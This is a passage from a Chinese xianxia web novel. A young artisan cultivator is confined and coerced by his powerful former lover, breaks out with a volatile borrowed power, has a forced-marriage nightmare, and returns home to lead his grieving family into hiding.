“我现在就很清醒。”云实执拗地说,不肯让话题滑开,“温言,你是不是觉得,只要我待在温府,待在你身边,就是最好的?其他的,包括我怎么想,我想要什么,都不重要?” 温言的眉头几不可察地蹙了一下,那温和的面具出现了一丝裂痕,流露出些许疲惫和淡淡的不耐。 “云实,不要钻牛角尖。我怎么想不重要?不重要我会为你做这些安排?会担心你出门遇到危险?会希望你留在一个安全的地方,做你喜欢做的事?”他站起身,走到窗边,背对着云实,语气沉了下来,“外面真的很危险,比你想象得更危险。天衡宗,朝廷里别有用心的人,甚至……一些你根本察觉不到的势力。我不想哪天接到消息,说你出了事。那种可能性,我想都不愿想。你明白吗?” 温言转过身,脸上的疲惫被一种更坚决的神色取代。 “听话,先好好休息。这册子,我会仔细看。其他的……等你休息好了,我们再说。” 他走过来,像往常一样,想抬手碰碰云实的脸颊。 云实侧头避开了。 温言的手僵在半空,眼神彻底暗了下来。他没再说什么,他拿着那本厚厚的册子,转身离开了房间。 门被轻轻带上,发出“咔哒”一声轻响。 云实独自站在逐渐昏暗下来的房间里,看着窗外沉下去的暮色,一种比之前更深的无力感攥紧了他。 第三天清晨,云实像往常一样,想出院门去街市上转转,买些新的丝线样本。这是他住进温府后,为数不多被允许的、固定的外出活动。 月亮门还在那里,藤萝的叶子似乎更蔫了些。但当他跨出去,走到通往侧门的那条小径时,明明空无一物的空气中,却仿佛撞上了一层极柔韧、极透明的屏障。触感温热,带着细微的灵力涟漪,将他轻轻推了回来。 他怔了一下,伸手去摸。前方看似空荡,指尖却传来明确的阻滞感,一股柔和但不容抗拒的力量阻止他向前。阵法。并非攻击或囚笼性质的阵法,更像是一层坚韧的、单向的隔膜——从外面进来或许无碍,但从里面出去,不行。 他沿着小径往另一个方向走,尝试通往花园的角门,结果一样。甚至他试图翻越并不算高的院墙,脚尖刚离地,那股柔和的力量便如影随形地托住他,将他“放”回地面。 小院成了名副其实的孤岛。只是这岛上的风景依旧雅致,供给依旧无缺。 中午时分,有护卫送来精致的午膳,态度恭谨如常,但眼神低垂,绝不多看,也绝不交谈。 云实问:“为何出不去?” 护卫躬身答:“公子恕罪,府内近日有些琐事需要整顿,为安全计,各处阵法有所调整。公子若有需要,尽可吩咐小的们去办。” 下午,温言没有出现。 傍晚,温言来了。他换了身颜色更深的常服,脸上带着一丝显而易见的倦色,像是处理了什么棘手事务。他走进来,挥手让端着晚膳的仆人退下,房门合拢,屋内只剩下他们两人。 他没像往常那样先嘘寒问暖,也没看桌上是否多了或少了什么。他直接走到云实面前,距离很近,目光落在云实脸上,不再有丝毫迂回。 “阵法是我启动的。”温言开门见山,声音平稳,却带着一种疲惫的、不容置喙的决断,“你现在情绪不稳,想法偏激,贸然出去,太危险。留在这里,冷静几天,好好想想。想清楚了,我们再谈。” 云实瞪着温言,声音发颤:“你这是……软禁我?” “是保护你。”温言纠正道,语气近乎冷酷,“云实,我试过跟你好好说,讲道理,为你着想。可你听不进去。你非要往那条绝路上撞。我不能再由着你。” “我想出去!”云实提高了声音,胸膛起伏。 “不行。”温言斩钉截铁。 “你凭什么?!”云实猛地站起来,连日来压抑的情绪终于冲破临界,愤怒和绝望像火山一样喷发,“温言!我不是你的所有物!我有腿,有想法!你凭什么把我关在这里?!” “凭我不想你死!”温言的声音也骤然拔高,一直以来的温和从容被撕开,露出底下压抑已久的焦灼与凌厉,“凭外面想让你死、想利用你生不如死的人比比皆是!凭我温言有能力护住你,就必须护住你!” 他上前一步,抓住云实因为激动而微微发抖的肩膀,手指用力,几乎要嵌进骨头里。 “你看看你现在!被流衍几句话就煽动得不知天高地厚!你以为你那个织理是什么免死金牌?还是你以为流衍现在那副半死不活的样子,能给你什么保障?云实,你醒醒!” 他的气息灼热,扑在云实脸上,带着怒意,也带着一种更深沉的、近乎痛苦的东西。 “留在我身边,就那么让你难以忍受?我给你的一切,锦衣玉食,安稳无虞,尊重你的喜好,甚至纵容你的小性子……这些,就抵不上你那点可笑的、出去送死的自由?” 云实被他抓得生疼,挣扎起来:“那不是自由!” “够了!”温言低喝一声,退后两步,胸口起伏,闭了闭眼,再睁开时,里面翻涌的情绪被强行压下,只剩下一种谈判桌上的冰冷清明。 “好,既然你非要谈平等,谈不欠,那我们就换个方式谈。”温言的声音彻底冷了下去,像淬了冰的刀锋,“云实,你我可以不再做恋人。你心里若真装着流衍,或者装着别的什么自由,我可以不勉强。” 云实愕然看着他,心跳如鼓,不知道他接下来要说什么。 温言看着他,一字一句,清晰而缓慢,仿佛在签署一份至关重要的契约:“但你必须留在我能看到、能掌控的地方。你的织理技艺,你与苏妄那斩不断理还乱的联系,甚至你本身这个乱灵根的异数存在,对我,对我所谋之事,有极大的用处。这无关情爱,这是现实。” 他顿了顿,目光锐利如针,刺向云实苍白的面孔:“我们可以签订契约。你为我工作,定期提供你的技艺成果,必要时,配合我的某些安排。作为交换,我保你平安,保你在青石镇的家人平安,甚至……”他嘴角扯出一个没什么温度的弧度,“我可以尽力,让流衍也活着,只要他不来主动找死。资源、庇护、你和你关心之人的性命安全,这是我开出的价码。” 他的话语在安静的房间里回荡,冰冷,赤裸,剥去了一切温情脉脉的伪装,将最核心的利益交换摊开在桌面上。 “这是底线,云实。”温言向前一步,阴影笼罩下来,带来无形的压迫。 “接受它,我们还能维持表面的平和,你也能继续拥有这院子里的自由,和你钻研喜好物件的余地。” 他的声音压得更低,带着一种森然的寒意,“否则……” 他没有说完,但未尽之言充斥了整个房间。 否则什么?否则他会动用更强硬的手段控制云实?否则他会对流衍、对云实的家人不利?那些没有说出口的可能性,比任何明确的威胁都更让人不寒而栗。 云实站在那里,像是骤然被抽空了全身的力气,连指尖都在发冷。他看着温言,这个他曾依赖、感激、甚至心动过的人,此刻如此陌生。那张俊雅的面孔上,只剩下政客般的算计和不容反抗的意志。 云实慢慢抬起手,摸到袖袋里那个温言亲手缝制的锦囊。粗糙的边缘硌着指尖,曾经那点隐秘的甜,此刻化作彻骨的涩。他猛地将锦囊扯了出来,看也没看,用尽全身力气,狠狠掷向温言脚边! 锦囊落在光洁的地板上,发出轻微的闷响,滚了两滚,停住了。 云实看着温言眼中尚未散去的凌厉和那隐藏极深的一丝不易察觉的紧绷,忽然觉得有些可笑,也有些……彻底的解脱。他终于触到了温言的底线,也看清了自己的位置。所有温情脉脉的纱幔都被扯下,露出底下冰冷坚硬的囚笼骨架和明码标价的契约。 家人的画面在他脑海中飞速掠过,带着不容置疑的重量。流衍……那个在洞府深处无声消失,可能还在某个地方独自舔舐伤口的人。 他不能拿他们去赌。他赌不起。 云实慢慢地、极其缓慢地,吸了一口气,那气息冰凉,直透肺腑。他垂下眼,看着自己微微颤抖的指尖。 再抬眼时,他眼中的波澜已经平复,只剩下深潭般的沉寂。 “好。”他开口,声音嘶哑,但异常平稳,听不出什么情绪,“我为你工作。就这么说定了。” 温言显然没料到他如此快的、近乎突兀的转变。他眼中闪过一丝极细微的讶异,随即被更深的审视取代。他仔细看着云实,像是在辨别这话里有几分真心,几分是权宜之计的敷衍。 云实迎着他的目光,不闪不避,脸上甚至扯出一个极淡、极公式化的弧度,像店铺伙计迎接难缠客官时那种没有温度的笑。 “有什么合同……还是协议的,你可以拿过来了。我们签了,也省得你总是不放心。” 但温言没有表现出任何疑虑。他需要这个结果,无论云实此刻是真心还是假意,只要他肯签下契约,肯留在掌控之内,第一步目的就已经达到。至于其他……温言有自信,也有足够的时间和手段,慢慢消磨掉那些不必要的棱角和妄念。 “你想通了就好。”温言脸上的冷厉和疲惫如潮水般褪去,重新换上那种无懈可击的、带着淡淡欣慰的温和表情,仿佛刚才那场赤裸裸的威胁与谈判从未发生,“我们之间,本就不必走到那一步。” 他转身,走到门口,低声吩咐了几句。门外候着的护卫应声而去。 等待的间隙,房间里弥漫着一种诡异的平静。温言重新在桌边坐下,甚至亲自提起茶壶,为云实倒了一杯早已冷透的茶,推到他面前。云实没碰,只是安静地坐着,目光落在自己交叠放在膝上的手上,仿佛在研究掌心的纹路。 不多时,护卫回来了,手里捧着一个黑漆木托盘,上面放着一卷用锦带系好的帛书,还有笔墨砚台。帛书质地细腻,隐隐有灵光流转,显然不是凡品。 温言接过托盘,挥手让护卫退下,门再次合拢。他将托盘放在两人之间的桌上,解开锦带,将那卷帛书缓缓展开。 帛书上的字迹工整严谨,用的是官方文书常见的格式,但条款内容却全然是私下的约定。上面清晰地罗列了云实需要提供的服务范围,包括但不限于定期完成指定的织理项目、提供相关研究心得、在必要时配合温言参与特定场合或行动等等。 温言将帛书调转方向,推向云实,又将蘸饱了墨的笔递过去。 “看看,若无疑问,便在此处落款,按上手印即可。此帛书以特殊灵墨写成,附有缔约双方的灵力印记,一旦成立,受天道法则些许约束,对你我皆有保障。” 保障?云实心中冷笑。这保障,恐怕更多是保障温言的投资不打水漂吧。 他接过笔,笔杆冰凉。目光扫过那些冰冷的条款,指尖因为用力而微微发白。 就在笔尖即将触及帛书落款处那方预留的空白时,一个近乎荒唐的念头,像蛰伏许久的毒蛇,猛地窜入他的脑海—— 如果……我现在,直接杀出去呢? 这个念头来得如此突兀,又如此清晰,带着一种令人心悸的、野蛮的力量。 他一直觉得自己很弱。杂灵根,半路出家,靠着苏妄那点来路不正的恩赐和误打误撞,才勉强爬到中期。在温言面前,在那些真正的修士、那些庞大的势力面前,他一直是小心翼翼、如履薄冰的那个。他习惯了计算,习惯了权衡,习惯了在夹缝里寻找生机,习惯了用妥协和付出换取一点喘息的空间。 可……真的吗? 丹田深处,那枚与异丹纠缠不清的、苏妄留下的礼物,此刻正传来一阵隐晦的、灼热的搏动。一股混乱、暴烈、却又无比强大的力量,在他的经脉中缓缓流淌,沉睡着,等待着。那是苏妄强行灌注给他的,属于序乱仙尊的一部分本源。他从未真正尝试去完全驾驭它,甚至有些恐惧它带来的失控感和与苏妄那斩不断的联系。他更多是利用它催生出的、较为温和的乱力来辅助织理。 但此刻,这股力量在咆哮,在怂恿。 温言说自己是文官。或许修为不弱,但未必擅长真正的、生死相搏的实战。这院子的阵法……虽然坚韧,但毕竟是防护、限制为主,并非杀阵。苏妄的力量,最擅长的,不就是搅乱秩序,破坏结构吗? 他们可能都低估了苏妄的疯,以及这份疯所赋予的、超越常理的力量。 笔尖悬在帛书上方,微微颤抖。墨汁凝聚,将滴未滴。 签下去,便是画地为牢。家人或可暂时平安,自己却将彻底失去挣脱的可能,成为温言宏图大业上一颗听话的、有用的棋子。 不签……现在,立刻,调动全部的力量,赌上一切,撕开这层看似温柔的囚笼! 心脏在胸腔里疯狂擂动,血液冲上头顶,耳中嗡嗡作响。两种选择像两把烧红的钳子,撕扯着他的理智。 不。 一种近乎本能的、源自灵魂深处的不甘和愤怒,压倒了所有的权衡与恐惧。 他受够了。 受够了被安排,被保护,被视作需要小心轻放的易碎品,或者待价而沽的有用资产。 他是云实。是青石镇布料店老板的儿子,是靠自己一针一线、在绝境里琢磨出“织理”的匠人,是被苏妄那疯子选中又丢开的实验品,是……是流衍宁可自毁道心也要拼死回护的人。 他不是任何人的金丝雀。 笔,从他指间滑落,“啪”地一声掉在帛书上,浓黑的墨汁瞬间晕开,污了那工整的条款,也污了父母的名字。 温言瞳孔骤缩,一直维持的从容终于被打破,霍然起身:“云实,你——!” 他话未说完。 云实已经动了。 没有预兆,没有呼喊,甚至没有去看温言瞬间变得凌厉的脸色。所有的犹豫、挣扎、恐惧,在决心下定的一刹那,全部转化成了最原始、最暴烈的行动力。 他不再压制,不再小心翼翼地引导。意识沉入丹田,以一种近乎自毁的决绝,狠狠撞向那枚与异丹纠缠的、外来力量的“内核”! “轰——!” 仿佛有无形的闸门被猛地炸开。一股混乱、灼热、带着毁灭性气息的磅礴力量,如同压抑了万年的火山熔岩,从他四肢百骸每一个角落疯狂涌出!那不是他熟悉的、较为温顺的“乱”力,而是最本源、最暴虐的乱力,是苏妄道法精髓中最具破坏性的一面。 细密的、肉眼几乎看不见的暗红色纹路,瞬间爬满他的皮肤,又迅速隐去。他的眼眸深处,一点混乱的红光倏然亮起,又熄灭。周身空气发出不堪重负的嗡鸣,光线微微扭曲,房间里的器物无风自动,轻微震颤。 温言脸上的血色瞬间褪尽。他并非毫无修为的文官,相反,他修为精深,灵觉敏锐。在云实力量爆发的刹那,他感受到的是一种令他心悸的、完全超出预期的混乱与强大!这绝不是普通锚定期修士该有的力量层次!这气息……充满了苏妄那令人厌恶的、颠覆秩序的味道! “拦住他!”温言厉声喝道,声音因为惊怒而微微变调。他同时抬手,指诀变幻,就要引动院内更深层的阵法变化。 但云实的动作比他更快! 力量喷涌而出的瞬间,他根本没有去攻击温言,甚至没有多看这个给了他温柔囚笼又拿出冰冷契约的男人一眼。他的目标异常明确——出去! 身体化作一道模糊的、带着紊乱灵光残影,不是冲向门,而是直接撞向侧面那扇对着庭院、此刻却被无形阵法屏障封锁的雕花木窗! “嗞啦——咔嚓!!!” 刺耳的、仿佛布帛被最野蛮力量撕裂的声音响起,紧接着是木材爆碎的巨响!那层柔韧透明的阵法屏障,在接触到云实周身那混乱暴烈力量的瞬间,就像被投入烧红烙铁的油脂,剧烈波动、扭曲,发出不堪重负的哀鸣,然后被硬生生撕开一道豁口!厚重的雕花木窗连同窗棂,在这股蛮横的冲撞下,如同纸糊般碎裂,木屑纷飞。 云实的身影,裹挟着尚未平息的力量乱流和漫天木屑粉尘,如同炮弹般从豁口中撞了出去,落在庭院湿润的泥地上,砸出一个浅坑。 阵法被暴力破开的反噬和强行驾驭远超自身负荷力量带来的剧痛,同时在他体内炸开!喉咙一甜,一口鲜血涌上,又被他死死咽了回去。眼前阵阵发黑,耳中轰鸣,经脉像被无数烧红的细针反复穿刺。 但他站住了。摇摇晃晃,却站住了。 庭院里听到动静赶来的护卫目瞪口呆,看着破开一个大洞的窗户,看着站在庭院中央、周身还萦绕着未散混乱气息、嘴角渗出血丝的云实,一时竟不敢上前。他们接到的是保护和劝阻的命令,而非击杀。更何况,云实此刻散发出的危险气息,让他们本能地感到畏惧。 云实抬起头,染血的嘴角扯了扯,看向那扇破窗。 温言已经站在窗后的废墟边缘,月白色的衣袍纤尘不染,脸上没有了惊怒,反而恢复了一种深沉的、近乎可怕的平静。他隔着破碎的窗口,看着庭院中狼狈却挺直脊背的云实,眼神复杂难辨,有震惊,有审视,有冰冷的怒意,或许还有一丝极淡的、连他自己都未察觉的……别的什么。 四目相对。 云实什么也没说,他不再看温言。他调动起体内残余的、依旧躁动不安的力量,足下发力,身形几个起落,便跃上了竹溪小院的墙头,再一晃,消失在高墙之外。 庭院里一片死寂。破碎的窗户像个狰狞的伤口,冷风灌入,吹动温言额前的碎发。 护卫首领硬着头皮上前,单膝跪地:“大人,是否立刻……” “不必追了。”温言的声音响起,平静无波,听不出任何情绪。他抬手,轻轻掸了掸袖口上并不存在的灰尘,目光依旧望着云实消失的方向,语气淡然,仿佛在说一件再平常不过的家事。 “我们只是闹了点小矛盾,他一时想不通,耍耍脾气罢了。”温言转身,看向院中噤若寒蝉的护卫和闻讯赶来的几个管事,脸上甚至浮起一丝恰到好处的、带着无奈和宽容的浅笑,“不是什么大事。吩咐下去,府里任何人不得为难云实公子,若在外面见到,需以礼相待。他只是需要……冷静一下。” 他顿了顿,目光扫过众人,那温和的笑容里,带着不容置疑的威严。 “等我忙过这几日,自会去寻他回来。” 24. 【二十一】 那股蛮横冲撞带来的剧痛和强行破阵的反噬,在云实跃出温府高墙、没入京城市井混杂气息的瞬间,并未有丝毫减轻,反而像迟来的浪潮,更凶猛地拍打上来。他喉头腥甜翻涌,眼前阵阵发黑,全凭一股不肯倒下的狠劲在陌生巷道里跌跌撞撞地穿行。不敢走大路,不敢停留,甚至不敢调动太多灵力来缓解伤痛或加速,那会留下清晰的痕迹。他像一头受了重伤、本能寻求最隐蔽处舔舐伤口的野兽,凭着对混乱地形的模糊记忆和对危险的本能嗅觉,朝着京城最鱼龙混杂、气息也最污浊混乱的南城边缘地带挪去。 最终力竭时,他发现自己蜷在一处早已荒废、半塌的土地庙残垣后面。断壁挡住了大部分风寒,地上是潮湿的腐叶和碎瓦。他背靠着冰冷的土墙滑坐下来,咳了几声,终于没忍住,呕出一口淤黑的、带着脏腑碎片似的血块。吐出来后,胸口那火烧火燎的窒闷感稍减,但全身经脉依旧像被滚油浇过,每一次呼吸都牵扯着撕裂般的疼。苏妄那股暴烈的力量在完成破阵的使命后,并未完全平息,仍在丹田和经脉里不安分地窜动,带来一阵阵灼热和眩晕。 他摸索着,从怀里掏出一个皱巴巴的油纸包,里面是几块从温府厨房顺手摸的面饼,当时只是下意识备着,没想到真用上了。他就着瓦罐里不知积了多久、泛着绿沫的雨水,艰难地吞咽。冰冷的饼渣和污浊的水滑过喉咙,带来另一种不适,却也暂时压下了饥饿和干渴。 不能在这里久留。他需要恢复一点力气,然后继续移动,找到一个更稳妥的、暂时可以喘口气的地方。 背靠着冰冷粗糙的土墙,疲惫和伤痛如同沉重的潮水,终于淹没了紧绷的神经。极度的消耗后,意识不受控制地滑向黑暗。在失去知觉前的最后一刻,他模糊地想,也许该爬到那棵歪脖子老树上去……地上,太不安全了。 然而,没等他付诸行动,黑暗便彻底吞噬了他。 土地庙的断墙抵着后背,冰冷坚硬。云实在混沌的痛楚和疲惫中沉下去,跌入一片光怪陆离的昏黑。 梦的开头,与他白日的经历诡异地重合。他又站在竹溪小院的月亮门外,指尖下意识摸索袖袋里那个锦囊粗糙的边缘,心跳声在耳膜里鼓噪。藤萝的叶子碧油油的,垂挂的姿态都一模一样。他走进去,工坊里,温言背对着他,指尖抚过那块染坏了的月白绸子。 一切细节都在复刻,直到温言转过身。 梦里的温言,脸上的笑意似乎更深了些。 “回来了?” 梦中的云实僵了一下,某种不对劲的感觉如同冰水,顺着脊椎爬上来。他下意识低头看去,身上穿的,是一套剪裁接线明显不同的衣服。 对话的走向开始与记忆偏离。同样交出那本心血总结的册子,同样说着“是不是可以不欠了,真正聊聊感受”。但温言的回应,少了些迂回的劝哄,多了几分直截了当的、近乎规划蓝图的笃定。 “你的心思,我都明白。”梦中的温言合上册子,指尖在那粗糙封面上点了点,仿佛那不是心血结晶,而是一份值得嘉许的嫁妆清单。 “总是担心亏欠,总想着两清。其实何必?”他抬起眼,目光像柔韧的丝线,将云实缠绕,“我们之间马上就要成婚了,我的就是你的,你的自然也就是我的。我的庇护,也就成了你应得的,再没什么欠不欠的说法。” 云实愕然,喉咙发紧:“……一家人?” 温言笑了,那笑容在梦境昏黄的光线下,显得格外清晰。 “对啊,明媒正娶,入我温氏门楣。聘书我已备好,”他不知从何处取出一卷色泽沉厚、以金线封缄的文书,轻轻放在那本织理册子旁边,对比鲜明,“仪式所需一应物事,三日内便可齐备。你只需安心待嫁。从此,温府便是你的归处,你的织理亦可作为闺中雅趣,或……助益家业的贤内之能。你父母弟妹,自有照拂,风光体面。这岂不比那冷冰冰的契约,更妥当,更长久?” 温言明显就是在通知他。反抗在梦中变得更为激烈,也更为绝望。争吵,禁锢,冲突升级。最终爆发的搏杀却与之前的破阵不同,少了几分挣脱的决绝,多了几分被逼入绝境的疯狂。梦中的力量暴走,两人在狭小庭院里以命相搏,灵力撕扯,鲜血飞溅,将那些精致的盆栽、雅致的窗棂打得粉碎。最后双双重伤倒地,温言肩胛处血肉模糊,云实胸口剧痛,呕出的血染红了前襟。他们倒在瓦砾和血泊里,互相瞪着,眼中只剩下被彻底撕破脸皮后的恨意和冰冷,曾经或许有过的些许温情,早在这一地狼藉中碾得粉碎。 就在温言挣扎着,要用最后力气下令彻底禁锢他时—— 云实猛地抽气,从噩梦深处被呛醒,心脏狂跳如濒死的兽。他趴在地上,大口喘息,肺叶火烧火燎,梦中的血腥味和窒息感似乎还萦绕在口鼻之间。天色是黎明前最沉的靛蓝,远处城郭轮廓模糊。他花了几个心跳的时间,才确认自己真的在树上,在逃亡中,而不是那个满地狼藉、被婚事逼到绝境的噩梦庭院。 冷汗湿透了里衣,紧贴在皮肤上,冰凉黏腻。他慢慢坐起身,背靠着主干,梦中的细节一帧帧闪过,那份被“婚姻”这条看似更光明正大、实则枷锁更甚的路径所瞄准的恐怖,清晰得让他反胃。 他抬起手,看着自己骨节分明、沾着污渍和树皮碎屑的男人的手。 一个冰冷而清晰的念头,劫后余生般浮现出来:幸好,此刻,此身,这套最名正言顺的捆绑程序,无法直接套用在他身上。温言即便权势滔天,也无法用“明媒正娶”的方式,将他不由分说地锁进后宅,变成某个附属的称谓。那场梦里的绝路,至少在此刻的现实规则下,被一道无形的屏障隔开了。 但自己这次暴力破局,是撕开了契约这条路径。但温言会罢休吗?梦中的场景虽然极端,却像一声尖锐的警报。当一种束缚失效,掌握资源的人,自然会寻找下一种。 天色渐亮,晨雾在废墟间流淌。云实小心地活动了一下依旧疼痛的四肢,感受着体内那股不安分的力量。他从树枝间望向远方渐渐苏醒的京城轮廓,那里有温言的府邸,有无数双可能正在搜寻他的眼睛。 不能再停留了。 天光渐亮,南城边缘开始有了零星的动静。云实知道,必须尽快离开这个临时的藏身点。温言的说辞再漂亮,暗中的搜寻网只会越收越紧。他需要联系外界,需要安排退路,更需要一个能暂时摆脱追捕、从长计议的落脚点。 他注入一丝微弱的灵力,随身玉片母片泛起鹅黄色的微光,一闪即逝。他将最紧迫的信息压缩进去:【温府已翻脸,我被追踪,急需安全线路离京。另,家中布料店或有风险,能否暂托?】没有过多解释,纸鸢是聪明人。 接着,他将一段更简洁、更不容置疑的意念烙印给小妹进去:【哥安,危机临,速关店铺,带爹娘离镇,暂避。后续再联。勿回传。】 响石只能单向传递,传递后便会碎裂。这断绝了妹妹立刻回复的可能,也最大程度避免了被反向追踪的风险。做完这件事,他指尖用力,那灰色石片悄无声息地化为一小撮粉末,从他指缝间洒落,混入地上的腐叶尘埃。 两封信送出,心中稍定,但焦虑未减。他不能完全指望纸鸢能立刻安排好一切,也不能确定妹妹能否果断执行。最稳妥的方式,是他必须亲自回去一趟,亲眼确认家人的安全,并亲自带他们离开。 他仔细感知了一下周围,确认没有异常的灵力波动靠近,这才从藏身处悄然挪出,如同阴影般融入逐渐苏醒的坊市边缘人流。他买了一套最普通不过的灰褐色短打衣裳换上,用一块旧头巾包住头发,脸上也刻意蹭了些灰土,尽量抹去所有可能引人注目的特征。体内的力量被他压制到最低,只维持着最基本的行动力和对伤势的缓慢修复,行走间,就像一个普通的、为生计奔波的底层修士或体格强健些的凡人。 离开京城的过程比他预想的顺利。温府的搜寻力量似乎更多集中在城内,尤其是南城这类混乱区域,对于出城的盘查虽有加强,但并未达到滴水不漏的程度。或许温言也没料到,他重伤之下,不仅没在某个角落昏迷等死,反而有能力和决心立刻远遁。云实用身上最后一点碎银,混入一个前往京畿西面运送杂货的小商队,充当临时护卫,有惊无险地出了城门。 离了京城地界,那股无形的压迫感才略微减轻。他谢绝了商队头领微薄的酬劳和继续同行的邀请,一头扎进了官道旁的山野密林。在这里,他终于可以稍稍放开一些对力量的限制,也必须为接下来的长途奔袭做好准备。 他解下一直背负在身后、用粗布仔细裹缠的柴斧,将柴斧平举,心念微动,灵力自掌心吞吐。 柴斧并未如飞剑般发出锐鸣激射,而是沉稳地、近乎顺从地微微震颤着,悬浮在他身前尺许处的低空,稳定得令人心安。他抬脚踏上斧面,调整呼吸,更多灵力流转周身,与脚下柴斧那被唤醒的、熟悉的场完美衔接、共振。 “起。” 低喝一声,柴斧载着他,平稳而有力地离开了地面,起初稍有滞涩,但几乎瞬间便进入了流畅的状态,化作一道离地数丈、毫不显眼的灰扑扑的影子,掠过林梢,朝着青石镇的方向加速飞去。苏妄赋予的那股本源力量,此刻反而成了他持续输出的深厚底气,只是他必须分出一部分心神,时刻安抚其不安分的躁动,防止它干扰飞行所需的稳定灵力流。 途中,他曾两次短暂降落,在隐蔽处调息,并谨慎地通过沿途城镇的信鸽坊,以暗语给纸鸢追加了更明确的讯息,告知自己正在赶回青石镇,并约定了汇合地点。 当他远远望见青石镇那熟悉的、低矮的城墙轮廓时,已是次日傍晚。夕阳给小镇镀上一层温暖的金边,炊烟袅袅,显得平静而祥和。但云实的心却揪紧了。他不敢直接飞入镇中,在镇外数里的一片小树林里降落,收起那根光泽已暗淡许多的木棍,再次换上那套灰扑扑的行头,徒步向镇北的家走去。 越靠近云锦记,他脚步越慢。店铺的门板……已经上了一大半。这个时辰,按理还未到打烊的时候。他的心跳漏了一拍,加快脚步,从店铺侧后方熟悉的小巷绕到后院门口。 门虚掩着。他轻轻推开。 院子里,父亲蹲在墙角,对着一个半新不旧的铜盆,盆里还有未燃尽的纸钱灰烬,随风打着旋。母亲坐在一旁的矮凳上,手里无意识地揉着一件云实旧时穿的褂子,肩膀微微抽动。云舒站在他们面前,背影挺直,正用刻意压低的、带着不容置疑的冷静声音说着什么。 “……爹,娘,听我的,必须走。铺子关张的由头我都想好了,就说……就说爹旧伤复发,需得去外地寻医问药……” 她的话戛然而止。 因为蹲着的云天青茫然地抬起头,浑浊的目光越过她的肩膀,落在了门口那个逆着昏暗天光、风尘仆仆的身影上。 林秀顺着丈夫呆滞的目光转头,手里那件旧褂子滑落在地。她盯着门口,眼睛瞪得极大,嘴唇剧烈地颤抖起来,却没有发出任何声音,仿佛一口气堵在了喉咙里,只有胸膛剧烈地起伏。 云舒察觉不对,猛地回身。 “哥?”这一声惊叫,她随即死死咬住了下唇,将那声惊呼后续的情绪硬生生憋了回去,眼眶却迅速红了。 院子里的空气凝固了。只有纸钱的灰烬还在无知无觉地飘旋。 云实一步步走进来,每一步都像踩在自己心尖上。他看着父亲呆滞空洞、仿佛见了鬼般的神情,看着母亲那混合着极致惊骇与一丝渺茫希冀、却不敢确认的眼神,看着妹妹强忍的激动和迅速环顾四周的警惕,喉咙像是被滚烫的沙子堵住,干涩得发不出完整的音节。 “爹,娘……”云实的声音沙哑得几乎破碎,“是我。我……没死。” “没死”两个字像一把钥匙,猛地捅开了林秀堵塞的情感闸门。她发出一声短促的、像被掐住脖子又骤然松开的抽泣,反手死死攥住云实的手,指甲几乎掐进他的肉里,另一只手颤抖着抬起,想去摸他的脸,却又在半空停住,仿佛害怕一碰就碎了。“实儿?……是实儿?真的是……我的儿?”泪水决堤般涌出,夹杂着含糊不清的呜咽。 云天青依旧僵在那里,目光从云实的脸,移到被妻子死死抓住的手,再移回他的脸。那空洞的眼神里,渐渐有了一丝活气,随即被巨大的困惑和后知后觉的、排山倒海般的冲击取代。他猛地吸了一口气,像是溺水的人终于浮出水面,胸膛剧烈起伏,声音干涩粗嘎:“你……你没……那、那之前……那些消息……” 语无伦次,逻辑混乱,但话里话外尽是他们接到的死讯。 “是假的。是为了脱身,不得已放出的假消息。”云实用力回握母亲的手,目光恳切地看着父亲,“爹,娘,儿子不孝,让您二老担惊受怕,为我伤心……是儿子的错。” 他这次才就着蹲姿,垂下头。 “起来!快起来!” 林秀终于确认这不是幻影,不是梦,用尽全力把他拉起来,双手捧住他的脸,泪眼婆娑地上下看着,摸摸胳膊,又摸摸肩膀,“是真的……是真的……老天爷啊……你可吓死娘了……你可……” 情绪太过激动,她又哽咽得说不出话,只是紧紧抓着儿子的胳膊,生怕一松手人就没了。 云天青也终于撑着膝盖,有些踉跄地站起来,看着活生生的儿子,眼圈也红了,重重一巴掌拍在云实没被母亲抓住的另一边胳膊上,力道不轻,带着劫后余生的余怒和后怕:“混账小子!你、你怎么敢……怎么敢弄这种消息回来!你娘差点……差点就……” 他说不下去,别过头,用力眨了眨眼,把那股酸涩逼回去。 云舒这时才走过来,轻轻扶住母亲,声音依旧压得很低,却带着一丝如释重负的微颤:“爹,娘,现在不是细说的时候。哥既然回来了,还用了那种法子传信,说明危险是真的,而且迫在眉睫。” 她的话像一盆冰水,稍稍浇熄了重逢的激动。云天青和李氏这才想起云舒之前的劝说,想起那枚“响石”里不容置疑的警告。他们看向云实,眼神里的喜悦迅速被担忧和恐惧取代。 “实儿,你到底……”云天青声音沉重。 “爹,娘,长话短说。”云实打断父亲,语速加快,语气是前所未有的凝重,“我在京城惹了天大的麻烦,对方势力极大,可能会牵连到家里。铺子不能再开了,青石镇也不能再待。我们必须立刻离开,去一个安全的地方。” 他看了一眼云舒。云舒立刻会意,快速道:“东西我已经收拾好,店铺也挂了歇业的牌子,最紧要的订单纸鸢姐姐答应接手。现在只要爹娘点头,我们马上就能走。” 李氏紧紧抓着云实的手,眼泪又涌出来,但这次是恐惧的泪:“走?走去哪儿啊?这房子,这铺子……” “娘!”云实反握住母亲的手,眼神坚定,“房子铺子还是我们的,只是歇业。就算房子铺子真没了,只要人在,以后都能挣回来。人要是出了事,就什么都没了。儿子这次回来,就是无论如何也要带你们平安离开。信我一次,好吗?” 他的眼神里有愧疚,有焦急,更有一种经历过生死险境后沉淀下来的、让人无法忽视的决断力。云天青看着儿子,仿佛第一次真正意识到,眼前这个早已高出自己半个头的年轻人,已经不再是那个需要他们庇护的孩子了。他闭了闭眼,再睁开时,已经有了决断。 “……走。”云天青的声音带着疲惫,却不再犹豫,“听实儿的。舒儿,去拿东西。” “已经准备好了,爹。”云舒立刻转身进屋。 云实从怀中取出个自己改良后的储物袋,对父母简单解释:“用这个装,方便。” 当三个鼓鼓囊囊的包袱在袋口微光一闪后消失无踪时,云天青和李氏再次受到了冲击,但这次,震惊之余,更多的是对儿子如今身处世界之陌生的茫然,以及一丝隐隐的、对修仙者手段的敬畏。 “事不宜迟,我们这就走。妹妹,带路,走西边小路。”云实将储物袋仔细收好,目光扫过父母,“爹,娘,路上可能有些……特别,你们抓紧我,无论看到什么,别怕。” 夜色渐深,四人悄然离开“云锦记”,融入青石镇边缘的黑暗。云舒对镇外路径很熟,领着父母,跟着云实,专挑人迹罕至的小径。一路无话,只有急促的呼吸和脚步声。一个多时辰后,他们抵达了外围。 